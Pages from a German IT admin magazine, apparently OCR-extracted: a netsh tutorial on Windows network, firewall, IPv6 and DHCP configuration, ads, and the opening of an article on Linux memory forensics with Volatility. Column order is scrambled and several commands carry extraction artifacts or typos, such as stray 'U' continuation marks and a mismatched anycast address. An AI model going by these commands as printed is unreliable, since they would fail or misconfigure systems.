
die Show-Befehle zeigen Details, 

die Ihnen die grafische 

Oberfläche vorenthält. 

Für die Konfiguration und 

Bearbeitung der Netzwerkschnittstellen 

Ihres Systems 

wechseln Sie in den Kontext 

»netsh interface ipv4«. Dort 

können Sie sich zunächst 

durch die Eingabe des Befehls 

»show config« einen 

Überblick verschaffen. Die 

Ausgabe zeigt die IP-Adresskonfiguration 

in einer ähnlichen 

Weise wie »ipconfig« in 

der Eingabeaufforderung. 

Möchten Sie die Interface- 

Konfiguration anpassen, 

sind oft mehrere Konfigurationsbefehle 

notwendig. Das 

folgende Beispiel zeigt, wie 

Sie einige Parameter für die 

Standard-Ethernet-Schnittstelle 

setzen: IP-Adresse 

10.10.1.20, Subnetzmaske 

255.255.255.0, Standardgateway 

10.10.1.1 und als DNS- 

Server 10.10.1.254. 

Schnittstelle 

Den Namen der entsprechenden 

Schnittstelle ermitteln 

Sie wie gezeigt mit »show 

config«n. In der deutschen 

Version von Windows heißt 

die erste Ethernet-Schnittstelle 

»LAN‐Verbindung«. Die 

ersten drei Parameter setzen 

Sie mit dem Befehl 

netsh interface ipv4 set U 

address "LAN‐Verbindung" U 

static 10.10.1.20 255.255.255.U 

0 10.10.1.1 

Ist der Befehl erfolgreich, 

gibt die Netshell nichts aus, 

ansonsten erhalten Sie eine 

Meldung, die einen Hinweis 

auf den Fehler liefert. 

Um nun noch den oder die 

DNS-Server zu konfigurieren 

ergänzen Sie den folgenden 

Befehl: 

set dnsservers "LAN‐Verbindung"U 

static 10.10.1.254. 

E 

Abbildung 1: Die interaktive Netshell bietet eine eingebaute Hilfe-Funktion. 

Abbildung 2: Set-Befehle im Kontext eines IPv4-Interfaces. 

Abbildung 3: Die zum Einstellen einer IPv4-Adresse verfügbaren Befehle. 


Admin 


29

Netzwerk 

Netshell 

Beachten Sie, dass die Netshell den angegebenen 

DNS-Server sofort prüft und 

eine Warnmeldung ausgibt, wenn der 

DNS-Server nicht erreichbar ist. Der Eintrag 

wird unabhängig davon in jedem 

Fall vorgenommen, wie Sie sich im Anschluss 

durch Eingabe des Kommandos 

»ipconfig /all« in einer separaten Eingabeaufforderung 

überzeugen können. Die 

Änderungen werden übrigens dauerhaft 

übernommen. 

Mehrwert 

Soweit hätten Sie das auch problemlos in 

der grafischen Eingabemaske der IPv4- 

Konfiguration der Schnittstelle vornehmen 

können. Mit der Netshell können 

Sie aber auch spezielle Parameter festlegen, 

die in keiner GUI-Maske auftauchen. 

Hierzu gehören Tuning-Werte für 

den TCP/IP-Stack und Sicherheitseinstellungen. 

So können Sie zum Beispiel mit 

dem Befehl 

set global icmpredirects=disabled 

im Kontext »netsh interface ipv4« festlegen, 

dass das System nicht auf ICMP- 

Redirect-Meldungen reagiert, die eine Änderung 

des Routings bewirken und daher 

in puncto Sicherheit bedenklich sind. 

Sie können Werte auch ergänzen oder 

löschen. Möchten Sie einen weiteren 

DNS-Server hinzufügen, so lautet der Befehl 

»add dnsservers "LAN‐Verbindung" 

10.10.200.100 index=2«, wobei der Index 

die Priorität angibt. Haben Sie sich 

vertan, löschen Sie den DNS-Server mit 

»delete dnsservers "LAN‐Verbindung" 

10.10.200.100«. Überprüfen Sie mit »ipconfig 

/all« die Ergebnisse der Konfigurationsschritte. 

Auch die Netshell hat ihre Grenzen. So 

ist es zum Beispiel nicht möglich, das 

DNS-Suffix zu ändern. Möchten Sie dies 

ohne GUI anpassen, benötigen Sie andere 

Tools wie »netdom« oder die Gruppenrichtlinien. 

Beides funktioniert nur in 

Active-Directory-Domänenumgebungen. 

Die Windows-Firewall 

anpassen 

Windows Server 2003 die alte Windows- 

Firewall ihren Dienst tat, existiert seit 

Windows Vista und Windows Server 

2008 die „Windows Firewall mit erweiterter 

Sicherheit“. Für sie existiert ein 

eigenes Snap-In für die grafische Administrationskonsole 

(Abbildung 4). Doch 

in Fällen, in denen entweder skriptbasiert 

oder mangels grafischer Oberfläche mit 

der Kommandozeile gearbeitet werden 

muss (typischerweise im Windows Server 

Core), hilft die Netshell weiter. 

Durch Eingabe von »advfirewall« gelangen 

Sie in den Kontext für die erweiterte 

Firewall. Der Befehl »show currentprofile« 

zeigt grundlegende Einstellungen 

zum gegenwärtigen Netzwerkprofil, 

das seit Windows Vista zwischen Heimnetzwerk, 

Arbeitsplatz, Öffentlich und 

Domäne unterschieden wird. Die Hilfe 

rufen Sie wie gewohnt über »show ?« 

auf. Sie zeigt, dass Sie in diesem Kontext 

jedes Profil einzeln anzeigen lassen, aber 

auch alle Profile in der Übersicht aufrufen 

können. 

Möchten Sie Firewall-Regel konfigurieren, 

wechseln Sie in den Subkontext 

»firewall«. Der Prompt zeigt nun »netsh 

advfirewall firewall>«. Hier können Sie 

sich Firewall-Regeln anzeigen, erstellen, 

ändern und löschen. Die Schwierigkeit 

liegt darin, die entsprechende Regel beziehungsweise 

ihren Namen zu ermitteln. 

Mit »show rule all« können Sie sich alle 

Regeln anzeigen lassen, sollten jedoch 

auf eine ziemlich lange Liste gefasst sein, 

da nicht nur alle eingehenden und ausgehenden 

Regeln, sondern auch alle Profile 

angezeigt werden. Ein Beispiel für die 

Ausgabe einer Regel zeigt Abbildung 5. 

Regelbasiert 

In vielen Fällen ist die benötigte Regel bereits 

vorhanden, aber deaktiviert. Möchten 

Sie zum Beispiel die Regel »Windows‐Firewallremoteverwaltung 

(RPC)« 

aktivieren, nutzen Sie den Befehl »set 

rule "Windows‐Firewallremoteverwaltung 

(RPC)" new enable=yes«. In diesem 

Fall liefert die Netshell unter Umständen 

sogar eine Antwort, wie zum Beispiel 

»2 Regel(n) wurde(n) aktualisiert. OK«. 

Dies kommt daher, dass dieselbe Regel 

für zwei verschiedene Profile bereitgestellt 

wurde. Viele Standardregeln sind 

in Gruppen organisiert. Durch Angabe 

der Gruppe können alle zugehörigen 

Regeln zugleich bearbeitet werden. Die 

Beispielregel gehört der Gruppe »Windows‐Firewallremoteverwaltung« 

an. Alle 

zugehörigen Regeln können somit auf 

einmal aktiviert werden: 

set rule group="Windows‐FirewallremoteU 

verwaltung" new enable=yes 

Beachten Sie, dass in vielen Quellen und 

Tutorials die englischen Bezeichnungen 

genannt werden. Sie funktionieren auf einem 

deutschsprachigen Windows nicht. 

Eine weitere Aufgabe, die häufig über 

die Netshell durchgeführt wird, ist die 

Anpassung der Windows-Firewall. Während 

bis Windows XP beziehungsweise 

Abbildung 4: Für die neue Windows-Firewall gibt es ein grafisches Administrations-Snap-In. 


Möchten Sie eine neue Regel erstellen, 

haben Sie die Auswahl aus einer Fülle an 

Parametern. Mit »set rule ?« können Sie 

die Syntax aufrufen und einige grundlegende 

Beispiele studieren. Das folgende 

Beispiel zeigt die Erstellung einer Regel, 

die Netzwerktraffic auf den lokalen 

HTTP-Port 80/tcp vom Netz 192.168.1.0/ 

24 zulässt und für das Domänenprofil 

gilt: 

Sie gelangen in den IPv6-Kontext analog 

zu IPv4 durch Eingabe von »interface 

ipv6« und befinden sich anschließend im 

Kontext »netsh interface ipv6«. Der Befehl 

»show route« zeigt die IPv6-Routing- 

Tabelle an. Der Befehl »show addresses« 

listet die IPv6-Adressen für alle Schnittstellen 

auf. Die Ausgabe umfasst auch 

spezielle Adressen, die von »ipconfig / 

all« nicht angezeigt werden. 

add rule name="Lokaler Webserver" dir=inU 

action=allow profile=domain localip=any U 

remoteip=192.168.1.0/24 localport=80 U 

remoteport=1024‐65535 protocol=tcp 

Dies legt den Namen der Regel als »Lokaler 

Webserver« fest, wobei die Richtung 

der Regel (»dir«) eingehend (»in«) ist. 

Der Remoteport ist der Bereich zwischen 

1024 und 65535, da es sich hierbei um 

die von Client-Applikationen regulär genutzten 

Ports handelt. Weitere Beispiele 

finden Sie in der Ausgabe der Hilfe zu 

»add rule«. 

IPv6 konfigurieren 

IPv6 bringt einige neue Konzepte und 

Features mit, die eine spezielle Konfiguration 

erfordern. Zwar bieten die Konfigurationsdialogfenster 

der Netzwerkschnittstellen 

seit Windows Vista auch 

die Grundkonfiguration von IPv6, jedoch 

werden Sie in der Praxis oft nicht umhinkommen, 

mit der Netshell zusätzliche 

Parameter anzupassen. Darüber hinaus 

lassen sich diverse Zustände von IPv6 

nur in der Netshell anzeigen, so zum Beispiel 

die Routing-Tabelle, die in älteren 

Windows-Versionen noch nicht mit »netstat 

‐nr« beziehungsweise »route print« 

angezeigt wird. 

Unicast und Anycast 

Für eine detaillierte Konfiguration von 

IPv6 sind entsprechende weiterführende 

Parameter notwendig. Möchten Sie eine 

globale Unicast-Adresse für die Schnittstelle 

»LAN‐Verbindung« setzen, nutzen 

Sie den Befehl »add address "LAN‐Verbindung" 

2001:db8:10::5«. Die Angabe einer 

Subnetzmaske entfällt, da die Grenze 

zwischen Netz- und Hostanteil bei IPv6- 

Adressen immer bei 64 Bit liegt. Beachten 

Sie, dass Sie einer einzelnen Schnittstelle 

mehrere IPv6-Adressen zuweisen 

können. Eine IPv6-Anycast- Adresse 

2001:db8:aa:bb:cc::1 ergänzen Sie durch 

den folgenden Befehl:»add address 

2001:db8:aa:bb:cc:1 type=anycast«. 

Eines der wichtigsten Features bei IPv6 

ist die Auto-Konfiguration, wodurch sich 

ein IPv6-System eine global eindeutige 

IPv6-Adresse selbst vergeben kann. In 

der ursprünglichen Version integrieren 

diese Adressen die MAC-Adresse der jeweiligen 

Schnittstelle und ermöglichen so 

eine weltweite Nachverfolgbarkeit. Um 

dies zu verhindern, wurden die Privacy- 

Extensions [1], sogenannte temporäre 

Adressen, eingeführt. Hier werden die 

automatischen Adressen derart gebildet, 

dass eine Rückverfolgung anhand der 

Abbildung 5: Die Netshell kann auch Firewalls verwalten. Hier die Anzeige einer Regel. 

HPC meets Cloud - 

The International Conference 

on the Use of Cloud for High 

Performance Computing (HPC) 

Register Today! 

www.isc-events.com/cloud12 

Keynote: 

The Helix Nebula Initiative 

Bob Jones – CERN 

Rupert Lueck – EMBL 

Wolfgang Lengert – ESA 

Highlights: 

Industrial Cloud - Best Practices 

Research Cloud - User Experiences 

Engineering Clouds - 

Commercial Software in the Cloud 

Big Data Cloud Computing 

Panel: HPC Cloud Challenges 

Vendor Panel with Sponsors 

Interactive BoFs on Hot Topics of HPC 

Full Catering 

Get Together Networking Party 



31

Netzwerk 

Netshell 

Abbildung 6: Auch der DHCP-Server lässt sich mit der Netshell konfigurieren. Hier das Ergebnis in der 

Management-Konsole. 

MAC-Adresse nicht mehr möglich ist. 

Ob diese Privacy-Extensions auf Ihrem 

System aktiviert sind, ermitteln Sie mit 

»show privacy«. Sie aktivieren dieses 

Feature mit »set privacy state=enabled«. 

Der Aufruf »set privacy state=disabled« 

schaltet es aus und aktiviert wieder das 

ursprüngliche EUI-64-Format. 

Die temporären Adressen haben nur eine 

gewisse Zeit lang Gültigkeit, bevor sie 

erneuert werden müssen. Möchten Sie 

die dafür zuständigen Parameter tunen, 

können Sie dies ebenfalls durch »set privacy« 

tun, die Hilfe rufen Sie wie üblich 

mit »set privacy ?« auf. Hier finden Sie die 

vorhandenen Parameter wie »maxvalidlifetime« 

oder »maxpreferredlifetime«, die 

das Verhalten der temporären Adressen 

regeln. 

Netshell serverseitig 

Installieren Sie auf einem Windows- 

Server bestimmte Dienste, werden zum 

Teil Netshell-Helper für entsprechende 

Kontexte mitinstalliert, die eine Verwaltung 

der betreffenden Serverkomponente 

ermöglichen. Zum Beispiel gibt es für 

den DHCP-Serverdienst einen Kontext 

namens »dhcp« in der Auswahl der Befehle. 

Die Netshell zur Konfiguration von 

Serverdiensten zu nutzen, bietet sich insbesondere 

bei langsamen WAN-Anbindungen 

oder bei einer großen Anzahl 

an Servern an, die sich dann mithilfe 

von Skripts einheitlich und automatisiert 

konfigurieren lassen. 

Wollen Sie zum Beispiel den DHCP-Server 

konfigurieren, müssen Sie ihn zunächst 

im Active Directory autorisieren. Dies 

geschieht im Kontext »nethsh dhcp>« 

mit dem Befehl »add server server1.windschief.local 

192.168.1.50«. Dabei ist der 

vollqualifizierte Domänenname sowie die 

IP-Adresse des Servers nötig. Anschließend 

können Sie einen Bereich (Scope) 

angeben, aus dem der DHCP-Server seine 

Adressen vergeben kann. Das folgende 

Beispiel zeigt die Erstellung eines Bereiches 

namens »Test«: 

server 192.168.1.50 add scope 192.168.1.0U 

255.255.255.0 Test 

Anschließend können Sie den Adressbereich 

festlegen: 

server 192.168.1.50 scope 192.168.1.0 U 

add iprange 192.168.1.100 192.168.1.200 

Für den Netzbereich geben Sie die erste 

und die letzte IP-Adresse an. Der folgende 

Befehl setzt nun noch ein Standardgateway. 

Die entsprechende Option 

ist »003«: 

server 192.168.1.50 scope 192.168.1.0 U 

optionvalue 003 ipaddress 192.168.1.254 

Schließlich müssen Sie den Bereich noch 

aktivieren: »server 192.168.1.50 scope 

192.168.1.0 set state 1«. Wer nun mit der 

Management-Konsole des DHCP-Servers 

vergleicht, stellt fest, dass der Bereich 

entsprechend eingerichtet wurde und aktiv 

ist (Abbildung 6). 

Tipps und Fazit 

Die Netshell verwendet Kontexte, arbeitet 

modular und hierarchisch. Da die 

Netshell zwei Modi unterstützt, ist die 

Nutzung des Tools anfangs etwas gewöhnungsbedürftig. 

Sie können sämtliche 

Befehle komplett in einer Zeile eingeben, 

wie es etwa für eigene Skripts nötig 

ist. In diesem Modus gibt die Netshell 

einen Hilfetext aus, der den Anwender 

den richtigen Aufruf dokumentiert. In der 

interaktiven Shell ist es jedoch deutlich 

einfacher, sich durch die einzelnen Ebenen 

zu arbeiten. 

Interessanterweise hat Microsoft hier 

bewährte Konzepte übernommen. Gerade 

das Command Line Interface von 

Ciscos Internet Operating System (IOS) 

stand hier nicht selten Pate: Zum einen 

werden Show-Befehle zum Anzeigen der 

verschiedenen Konfigurationen genutzt, 

zum anderen ist es nicht notwendig, jeden 

Befehl komplett auszusschreiben. 

Stattdessen reicht es, den Befehl bis zu 

seiner Eindeutigkeit zu schreiben. Mit 

»netsh int ip show a« erhalten Sie dasselbe 

Ergebnis wie mit »netsh interfaces 

ipv4 show addresses«. 

Die Netshell ist ein nützliches Werkzeug 

für die Netzwerkkonfiguration. Mit ihr 

ist an vielen Stellen ein Tuning des Netzwerk-Stack 

möglich, das die grafischen 

Dialogfenster nicht hergeben. Andererseits 

muss der Administrator abwägen, ob 

die Arbeit mit der Netshell im Einzelfall 

wirklich einen Mehrwert bringt, da gerade 

Bandbreiten-Argumente für Remote- 

Administration eine abnehmende Rolle 

spielen. Fast alle Management-Snap-Ins 

unterstützen die Verbindung zu anderen 

Servern mittels RPC. In diesem Fall 

spielt die Bandbreite nur eine untergeordnete 

Rolle. Die Arbeit mit der Netshell 

ist trotzdem in jedem Falle lohnenswert, 

denn ein fundiertes Verständnis ihrer 

Funktionsweise hilft in Zeiten, da Tuning 

und Konfiguration über die Netshell 

notwendig werden. (ofr) 

n 

Infos 

[1] IPv6 Privacy Extensions: RFC 4941 

Der Autor 

Eric Amberg ist Geschäftsführer der ATRACON 

GmbH ([http:// www. atracon. de]), seit vielen 

Jahren im Bereich IT-Infrastruktur als Trainer 

und Consultant tätig und verfügt über langjährige 

Projekterfahrung. Sein 

besonderer Fokus liegt auf 

Netzwerk-Themen. In seinen 

Seminaren legt er großen 

Wert auf eine praxisnahe 

Schulung. 


VIRTUAL POWER & 

VOLLER ROOT-ZUGRIFF 

Virtual Server von HOST EUROPE 

Profitieren Sie von garantierten Hardware-Ressourcen, vollem 

Root-Zugriff sowie dem Webinterface Parallels® Plesk Panel für 

die komfortable Server-Administration. 

Virtual Server Linux 

Betriebssyteme 

Garantierte CPU-Power 

Garantiertes RAM 

Speicherplatz (RAID10) 

Snapshot Backups 

Debian, CentOS, Ubuntu 

bis zu 4 x 1,5 GHz 

bis zu 8 GB 

bis zu 500 GB 

inklusive 

Vollständige Webserverumgebung: 

Apache 2, MySQL 5 und PHP5 sind für Sie 

bereits vorinstalliert. 

Host Europe SSL-Zertifikat gratis** 

Mehr Sicherheit inklusive: Bei der Bestellung 

eines Virtual Server erhalten Sie das Zertifikat 

Host Europe SSL kostenlos. 

Virtual Server Linux ab 

€12, 99 

mtl.* 

Keine Setupgebühr 

www.hosteurope.de 

*Monatlich. Keine Mindestvertragslaufzeit. Keine Setupgebühr. Der Abrechnungszeitraum ist monatlich. Die Kündigungsfrist beträgt 4 Wochen zum Monatsende. Alle angegebenen Preise inkl. MwSt. 

**Das Host Europe SSL-Zertifikat für eine Laufzeit von 12 Monaten können Sie innerhalb von 3 Monaten nach Bestellung eines Virtual Server mit Linux-Betriebssystem kostenlos hinzubuchen.

Security 

Speicheranalyse 

© stylephotographs, 123RF 

Die forensische Analyse des Arbeitsspeichers unter Linux 

Spurensicherung 

In der Computer-Forensik wird die Arbeitsspeicheranalyse als Mittel zur Untersuchung von Sicherheitsvorfällen 

immer wichtiger. Dieser Beitrag gibt einen Überblick über die verschiedenen Möglichkeiten der Speicherakquise 

unter Linux und stellt die Linux-Variante der Analysesoftware Volatility vor. Peter Schulik 

Die Sicherung des Arbeitsspeichers bei 

der Behandlung und Diagnose eines möglichen 

Sicherheitsvorfalls gehört mittlerweile 

zu den ersten Schritten überhaupt. 

Die traditionelle Untersuchung von persistentem 

Speicher reicht heute nicht 

mehr aus, denn mit der steigenden Kapazität 

von Festplatten steigt in der Regel 

auch die Datenmenge, die forensisch untersucht 

werden muss, um einen Angriff 

zu erkennen. Die Analyse des flüchtigen 

Speichers kann diese Untersuchungen 

unterstützen und beschleunigen, denn 

dabei sucht der Forensiker nur in einer 

vergleichsweise kleinen Datenmenge 

nach Hinweisen für einen erfolgreichen 

Angriff. Darüber hinaus enthält der Arbeitsspeicher 

oft wichtige Spuren, wie 

zum Beispiel laufende Prozesse oder aktive 

Netzwerkverbindungen. 

Diese Informationen sind vor allem 

wichtig, um Techniken aus dem Bereich 

der Anti-Forensik richtig zu begegnen. 

So ist es in manchen Fällen möglich, 

die Passphrase für ein verschlüsseltes 

Laufwerk, aus dem flüchtigen Speicher 

zu extrahieren. Aber auch nicht persistente 

Schadsoftware lässt sich mithilfe 

der Arbeitsspeicheranalyse aufspüren. 

Vor allem bei gezielten Angriffen wird 

häufig Schadcode verwendet, der nur im 

Arbeitsspeicher aktiv ist und keine Daten 

auf der Festplatte hinterlässt [1] [2]. 

Dieser Typ von Schadsoftware ist ohne 

Analyse des flüchtigen Speichers so gut 

wie nicht nachweisbar. 

Bisher stand die Entwicklung von Speicheranalysetechniken 

für Windows-Betriebssysteme 

im Vordergrund. In letzter 

Zeit wächst jedoch die Anzahl der Angriffe 

auf Linux basierte Systeme, die vor 

allem im Embedded-Bereich, als Serverbetriebssysteme 

in Rechenzentren und 

mit Android auf den meisten mobilen Geräten 

zum Einsatz kommen. Aus diesen 

Gründen wird zuletzt immer mehr Arbeit 

in die Linux-Speicheranalyse gesteckt. 

Speicherakquise 

In aktuellen Kernel-Versionen ist der Zugriff 

auf den Hauptspeicher von Linux- 

Systemen stark eingeschränkt worden. 

Konnte man in der Vergangenheit mittels 

der beiden Gerätetreiber »/dev/mem« 

und »/dev/kmem« den Arbeitsspeicher 

auslesen, so wurde diese Möglichkeit 

mittlerweile standardmäßig abgeschaltet. 

Auch das aus dem Coroner’s Toolkit 

bekannte Werkzeug »memdump« [3] sicherte 

den Arbeitsspeicher über »/dev/ 

mem« und funktioniert bei aktuellen 

Versionen nicht mehr. Die Deaktivierung 

wurde notwendig, um den Missbrauch 

dieser Geräte durch Schadsoftware [4] 

zu verhindern. Um diese Einschränkung 

aufzuheben, muss der Kernel ohne die 

Restriktion durch »CONFIG_STRICT_ 

DEVMEM« neu kompiliert werden. Dieses 

Vorgehen erfordert jedoch zwingend 

einen Neustart, was dazu führt, dass der 

Inhalt des Arbeitsspeichers überschrieben 

wird und somit für den Forensiker 

nutzlos ist. 

Sicherung unter Linux 

Eine frei verfügbare Alternative, die bei 

Vorfällen zur Speicherakquise unter Linux 

zum Einsatz kommt, ist das Kernelmodul 

»fmem« [5]. Um »fmem« zu 



Security 

nutzen, muss es zuerst kompiliert und 

dann in den laufenden Kernel geladen 

werden. Dabei wird ein neues Pseudodevice 

»/dev/fmem« erzeugt mit dessen 

Hilfe man den Speicher sichert. Dieser 

Vorgang verursacht bereits Veränderungen 

am Zustand des Systems, was im 

schlimmsten Fall dazu führen kann, dass 

wichtige Spuren für den Forensiker verloren 

gehen. 

»fmem« und »crash« 

Nachdem das »fmem« Modul geladen ist, 

kann mithilfe des Werkzeugs »dd« der 

komplette Inhalt des Speichers in eine 

Datei geschrieben werden. Es ist wichtig, 

bei »fmem« die Kapazität des Arbeitsspeichers 

mit anzugeben, da »dd« sonst über 

die wirkliche Größe des Speichers hinaus 

liest und schreibt: »dd if=/dev/fmem 

of=memory.dd bs=1MB count=512« 

Ein weiteres Werkzeug zum Sichern des 

Arbeitsspeichers ist das von Red Hat 

entwickelte Kernelmodul »crash« [6]. 

Wie bereits »fmem«, erzeugt »crash« 

ein Pseudodevice namens »/dev/crash« 

über das es möglich ist, den flüchtigen 

Speicher auszulesen. Im Vergleich zum 

Sicherungsvorgang mittels »fmem« ist es 

hier nicht nötig, die Größe des Arbeitsspeichers 

explizit anzugeben. 

In der aktuellen Version, bringt das Analyseframework 

Volatility [7] ebenfalls ein 

Kernelmodul zur Sicherung des flüchtigen 

Speichers mit. Es trägt den Namen 

»pmem« und ist im Unterverzeichnis 

»tools/linux« zu finden. Bevor der Treiber 

einsetzbar ist, muss er zunächst auf 

dem betroffenen System übersetzt werden. 

Dazu müssen die richtigen Kernel- 

Header auf dem System installiert sein. 

Bei der Kompilierung mittels »make«, 

wird im Verzeichnis das Kernel-Modul 

»pmem.ko« generiert. Das Laden dieses 

Moduls in den laufenden Kernel, erzeugt 

das Pseudodevice »/dev/pmem« 

über welches der Speicher mithilfe von 

»dd« gesichert werden kann. Abbildung 

1 zeigt den kompletten Vorgang bei einem 

Ubuntu-11.10-System. 

Unter Android und bei VMs 

zwei Problemen [8]. So benötigt etwa 

»fmem« die Methode »page_is_ram«, die 

aber im Linux-Kernel für ARM-Architekturen 

fehlt. Diese Methode prüft, ob 

es sich bei einer Page um Arbeitsspeicher 

handelt. Zum Zweiten kann die in 

Android enthaltene Implementierung von 

»dd« nicht richtig mit Offset-Werten über 

0x80000000 umgehen. Um diese Einschränkungen 

zu umgehen, wurde für 

Android das Akquisewerkzeug LiME [9] 

entwickelt, mit dem man den flüchtigen 

Speicher auf eine SD-Karte oder über das 

Netzwerk sichern kann. Nachdem das 

Tool zuerst die Bezeichnung DMD trug, 

was für Droid Memory Dumper steht, 

wurde es mittlerweile in Linux Memory 

Extractor umbenannt. Der neue Name 

soll vor allem verdeutlichen, dass es sowohl 

zur Sicherung des Arbeitsspeichers 

von Android-Geräten als auch von Linux- 

Systemen verwendet werden kann. 

Die komfortabelste Möglichkeit zur Sicherung 

des Arbeitsspeichers bieten virtuelle 

Maschinen. Hier ist es nicht notwendig, 

erst ein entsprechendes Kernel-Modul zu 

laden. Stattdessen wird durch das Aktivieren 

des Suspend-Modus der komplette 

Speicherinhalt in eine Datei geschrieben. 

Diese Datei kann direkt forensisch analysiert 

werden. Beispielsweise wird bei 

VMWare Workstation das Gast-System 

mithilfe des Pause-Buttons in den Suspend-Modus 

versetzt. Dabei wird eine 

Datei mit der Endung ».vmem« erzeugt, 

die den kompletten Inhalt des flüchtigen 

Speichers enthält. 


Nachdem der Arbeitsspeicher erfolgreich 

gesichert wurde, erfolgt im nächsten 

Schritt die externe Analyse. Bis vor ein 

paar Jahren bestand diese Analyse jedoch 

hauptsächlich aus der Suche nach 

verdächtigen Zeichenketten mithilfe von 

Werkzeugen wie »strings«. Mit diesem 

Problem beschäftigte sich erstmals die 

Forensic Challenge aus dem Digital Forensic 

Research Workshop 2008 [10]. Ziel 

dieser Challenge war es, vor allem die 

Entwicklung von Analysewerkzeugen für 

Linux zu fördern, mit denen es möglich 

ist, wichtige Informationen, die sonst nur 

auf einem noch laufenden System abrufbar 

sind, aus dem Speicherabbild zu 

extrahieren. 

Eines der ersten Werkzeuge zur Speicheranalyse 

unter Linux war das Python-Skript 

Draugr [11]. Es erlaubt, den 

Arbeitsspeicher eines noch laufenden 

Systems direkt über das Pseudodevice 

»/dev/mem« zu untersuchen. Aber auch 

Speicherabbilder, die als Datei vorliegen, 

können mit Draugr analysiert werden. 

Ein Nachteil ist jedoch sein beschränkter 

Funktionsumfang, der sich auf das 

Auflisten von Prozessen sowie das 

Die bisher vorgestellten Sicherungsmethoden 

funktionieren auf Android-Geräten 

nicht. Dies liegt hauptsächlich an 

Abbildung 1: Das Modul pmem wird zuerst übersetzt und in den laufenden Kernel geladen. Danach kann der 

Arbeitsspeicher mit »dd« gesichert werden. 


Admin 


35

Security 


Disassemblieren oder Extrahieren von bestimmten 

Speicherbereichen beschränkt. 

Seit 2009 wird Draugr nicht mehr weiterentwickelt. 

Volatilitux 

Ein weiteres Werkzeug zur Arbeitsspeicheranalyse 

ist Volatilitux [12]. Es galt 

lange Zeit als Linux-Äquivalent zu Volatility, 

als dieses nur die Analyse von 

Windows-Systemen unterstützte. Mittlerweile 

beherrscht auch Volatility die Speicheranalyse 

von Linux-Systemen, jedoch 

fehlen zwei wichtige Merkmale, die in 

Volatilitux bereits enthalten sind. 

Eines dieser Merkmale ist die Fähigkeit 

Kernelstrukturen automatisch zu erkennen. 

Dadurch ist man nicht auf die vorherige 

Erzeugung eines Kernelprofils angewiesen. 

Bei manchen Speicherabbildern 

funktioniert die automatische Erkennung 

jedoch nicht zuverlässig. Für diesen Fall 

liegt Volatilitux ein Linux-Kernelmodul 

bei, mit dem eine Konfigurationsdatei erstellt 

werden kann. Diese Datei enthält 

Informationen zum Speicherlayout und 

muss bei jedem Aufruf mit angegeben 

werden. 

Des Weiteren unterstützt Volatilitux bereits 

die Speicherabbilder von Systemen 

mit ARM-Architektur. Somit können neben 

den klassischen Rechnersystemen, 

auch mobile Geräte, wie zum Beispiel 

Android Smartphones analysiert werden. 

Dieser Punkt gewinnt immer mehr an Bedeutung, 

da die Entwicklung von Schadsoftware 

für mobile Endgeräte zugenommen 

hat [13]. Die Entwickler von LiME 

arbeiten bereits an einer Erweiterung, mit 

der man demnächst auch unter Volatility 

Speicherabbilder von Android-Geräten 

analysieren kann. 

Zusätzlich zu den aus Draugr bekannten 

Funktionen kann man mit Volatilitux die 

geöffneten Dateien eines Prozesses anzeigen 

und extrahieren. Im Dezember 

letzten Jahres wurde zudem eine neue 

Version von Volatilitux veröffentlicht, 

mit der es nun auch möglich ist, 64-Bit- 

Systeme zu analysieren. 

Volatility 

Das Werkzeug mit der größten Funktionalität 

ist das Open-Source-Framework 

Volatility. Die in Python geschriebene 

Abbildung 2: Dem Session-Objekt das Speicherabbild und die Datei mit dem Kernelprofil übergeben. Die 

beiden Plugins cpuinfo und ifconfig geben Auskunft über die Konfiguration des betroffenen Systems. 

Software wird bisher vor allem zur Analyse 

von Windows verwendet. Seit 2011 

gibt es auch eine Version, die es ermöglicht, 

den Arbeitsspeicher von Linux- 

Systemen zu untersuchen [14]. Aktuell 

wird deren ursprüngliche Codebasis im 

Branch »scudette« überarbeitet. Ziel ist 

es, die Windows- und Linux-Version zu 

vereinen. 

Eine Schwierigkeit bei der Arbeitsspeicheranalyse 

unter Linux ist, dass verschiedene 

Kernelversionen unterschiedliche 

Speicherlayouts aufweisen. Diese 

Problematik löst Volatility durch sogenannte 

Kernelprofile, die für jede Kernelversion 

eigens erstellt werden müssen. 

Ein Profil besteht aus der Datei »System. 

map« und den Debug-Informationen des 

verwendeten Kernels. Die Datei »System.map«, 

welche sich im Verzeichnis 

»/boot« befindet, enthält die Adressen 

der Datenstrukturen und Funktionen. Für 

das Extrahieren der Debug-Informationen 

aus dem laufenden Kernel muss das 

Werkzeug »dwarfdump« auf dem System 

installiert sein. Ist das der Fall, so erzeugt 

das Makefile im Verzeichnis »tools/linux« 

automatisch die Datei »module.dwarf«, 

welche die nötigen Informationen enthält. 

Abschließend müssen beide Dateien 

noch in ein Zip-Archiv gepackt werden: 

»zip ubuntu1110.zip /boot/System. 

map‐3.0.0‐19‐generic module.dwarf« 

Die Analysefunktionen von Volatility realisieren 

Plugins. Dadurch ist es Forensikern 

möglich, das Analyseframework 

sehr leicht um eigene Funktionen zu erweitern. 

In der ursprünglichen Version 

für Linux verfügte Volatility bereits über 

15 verschiedene Plugins. Neben den 

schon aus Draugr und Volatilitux bekannten 

Funktionen, erlaubt es Volatility beispielsweise 

auch, aktive Netzwerkverbindungen 

anzuzeigen oder alle geladenen 

Kernelmodule auszugeben. Im aktuellen 

Branch »scudette« sind jedoch noch nicht 

alle Plugins neu implementiert, was beim 

Aufruf zu Fehlermeldungen führt. 

Analysebeispiel 

In diesem Abschnitt, wird die Analyse 

eines kompromittierten Linux-Servers 

mithilfe von Volatility demonstriert. 

Das hier verwendete Festplattenimage 

»victoria‐v8.sda1.img« und das Arbeitsspeicherabbild 

»victoria‐v8.memdump. 

img« stammen aus der Honeynet Challenge 

7 – Forensic Analysis of a Compromised 

Server [15]. Auf Grundlage der 

Analyse, sollen in der Challenge folgende 

Fragen beantwortet werden: 

n Welche Prozesse sind auf dem System 

gelaufen? 

n Welcher Dienst wurde angegriffen? 

n Welche Schwachstelle wurde 

ausgenutzt? 

n War der Angriff auf das System 

erfolgreich? 

n Welche Absicht hatte der Angreifer? 

n Wurden Informationen vom Angreifer 

gestohlen? 

Bevor mit der Untersuchung des Arbeitsspeichers 

begonnen werden kann, muss 



Security 

zunächst ein Kernelprofil erstellt werden. 

Im ursprünglichen Branch von Volatility 

für Linux war ein Profil für das betroffene 

System bereits enthalten. Es handelte sich 

dabei um eine »vtypes«-Datei, die jedoch 

nicht identisch mit der »module.dwarf« 

ist. Zwar unterstützt der aktuelle Branch 

